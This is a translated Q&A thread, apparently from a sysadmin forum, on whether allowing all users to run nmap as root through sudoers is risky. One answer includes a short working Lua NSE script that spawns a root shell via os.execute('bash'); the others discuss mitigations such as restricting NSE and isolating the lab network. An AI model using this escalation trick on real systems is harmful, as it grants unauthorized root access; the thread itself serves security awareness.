Kim Asked: 2010-04-10 06:09:07 +0800 CST2010-04-10 06:09:07 +0800 CST 2010-04-10 06:09:07 +0800 CST 允许每个用户以 root 身份运行 nmap 是否危险? 772 在我们大学,我们在“网络实验室”中有一些计算机,它们被配置为允许每个人通过 /etc/sudoers 以 root 身份运行 nmap。这可能是一个安全漏洞吗? linux security root sudo nmap 3 个回答 Voted Kim 2010-04-10T06:40:16+08:002010-04-10T06:40:16+08:00 我刚刚发现 nmap 让用户运行任意 lua 脚本。您可以使用此 lua 脚本获取 root shell: description = [[]] author = "" license = "" categories = {} portrule = function(host, port) os.execute("bash") return false end action = function(host, port) end romandas 2010-04-10T06:31:11+08:002010-04-10T06:31:11+08:00 有几个潜在漏洞的领域: 如果用户能够扫描生产型网络,则可能会导致各种服务和系统出现拒绝服务问题。然而,这并不是以 root 身份运行 nmap 的具体漏洞;这只是工具的本质。相应地沙箱扫描的网络,你会没事的。 如果 nmap 应用程序本身存在安全漏洞,那么是的,可能存在漏洞。检查 bugtraq 和这些的完整披露邮件列表。确保您使用的是最新版本的稳定 nmap(我不建议您使用任何严重的测试版本),您应该没问题。 最后,如果有人能够植入可以由 nmap 脚本引擎 (NSE) 运行的恶意 Lua 脚本,那么该脚本就有可能以 root 身份运行。可以通过 NSE 获得 Shell 访问权限;有关详细信息,请参阅Kim 的回答。 在这三个中,第 2 和第 3 是通过以 root 身份运行来放大的。对于普通用户,这些问题仍然存在;漏洞将被限制在一般用户可以访问的范围内。 您可以限制可以通过 sudo 配置文件使用的 nmap 选项,以尝试通过不允许用户使用 NSE 来缓解 #3。当然,如果他们需要访问 NSE 来实现他们的教育目标,那么您可能不得不接受风险。 Bart Silverstrim 2010-04-10T06:20:20+08:002010-04-10T06:20:20+08:00 让用户使用计算机可能是一个安全漏洞。大多数“黑客”都是内部工作。 无论如何,nmap 无论如何都可能是一个安全问题。锤子可以盖房子,也可以在头骨上打洞。取决于用户和意图。 很有可能,学校中的 nmap 将在 99% 的时间内按照其用于学习环境的方式使用。我认为您几乎必须允许它进行一些 root 访问,因为您正在使用低于 1024 的端口。 问题是这些可以用来“审计”您网络上的其他计算机。 如果您想限制损坏,请考虑 a) 将交换机上的实验室划分为能够端口扫描实验室外的其他计算机,或者如果这些是通用实验室,则选择性地允许扫描或访问实验室外的服务。B)在学生可以配置和自定义但很容易擦除的虚拟机上运行 nmap,可能通过 ssh 连接到虚拟化学生服务器,从而为他们提供更多访问权限。这让您可以更好地集中管理,他们可以在 Windows 上使用 XLiveCD 或实验室计算机上的任何 Linux 环境来做事。 Nmap 也可以对任何网络施加压力。如果您有一个由 20 台机器组成的实验室同时对其他机器进行端口扫描,那么您将通过交换机推动大量流量……希望他们有能力处理它,或者您会看到一些奇怪的东西。
我刚刚发现 nmap 让用户运行任意 lua 脚本。您可以使用此 lua 脚本获取 root shell:
有几个潜在漏洞的领域:
如果用户能够扫描生产型网络,则可能会导致各种服务和系统出现拒绝服务问题。然而,这并不是以 root 身份运行 nmap 的具体漏洞;这只是工具的本质。相应地沙箱扫描的网络,你会没事的。
如果 nmap 应用程序本身存在安全漏洞,那么是的,可能存在漏洞。检查 bugtraq 和这些的完整披露邮件列表。确保您使用的是最新版本的稳定 nmap(我不建议您使用任何严重的测试版本),您应该没问题。
最后,如果有人能够植入可以由 nmap 脚本引擎 (NSE) 运行的恶意 Lua 脚本,那么该脚本就有可能以 root 身份运行。可以通过 NSE 获得 Shell 访问权限;有关详细信息,请参阅Kim 的回答。
在这三个中,第 2 和第 3 是通过以 root 身份运行来放大的。对于普通用户,这些问题仍然存在;漏洞将被限制在一般用户可以访问的范围内。
您可以限制可以通过 sudo 配置文件使用的 nmap 选项,以尝试通过不允许用户使用 NSE 来缓解 #3。当然,如果他们需要访问 NSE 来实现他们的教育目标,那么您可能不得不接受风险。
让用户使用计算机可能是一个安全漏洞。大多数“黑客”都是内部工作。
无论如何,nmap 无论如何都可能是一个安全问题。锤子可以盖房子,也可以在头骨上打洞。取决于用户和意图。
很有可能,学校中的 nmap 将在 99% 的时间内按照其用于学习环境的方式使用。我认为您几乎必须允许它进行一些 root 访问,因为您正在使用低于 1024 的端口。
问题是这些可以用来“审计”您网络上的其他计算机。
如果您想限制损坏,请考虑 a) 将交换机上的实验室划分为能够端口扫描实验室外的其他计算机,或者如果这些是通用实验室,则选择性地允许扫描或访问实验室外的服务。B)在学生可以配置和自定义但很容易擦除的虚拟机上运行 nmap,可能通过 ssh 连接到虚拟化学生服务器,从而为他们提供更多访问权限。这让您可以更好地集中管理,他们可以在 Windows 上使用 XLiveCD 或实验室计算机上的任何 Linux 环境来做事。
Nmap 也可以对任何网络施加压力。如果您有一个由 20 台机器组成的实验室同时对其他机器进行端口扫描,那么您将通过交换机推动大量流量……希望他们有能力处理它,或者您会看到一些奇怪的东西。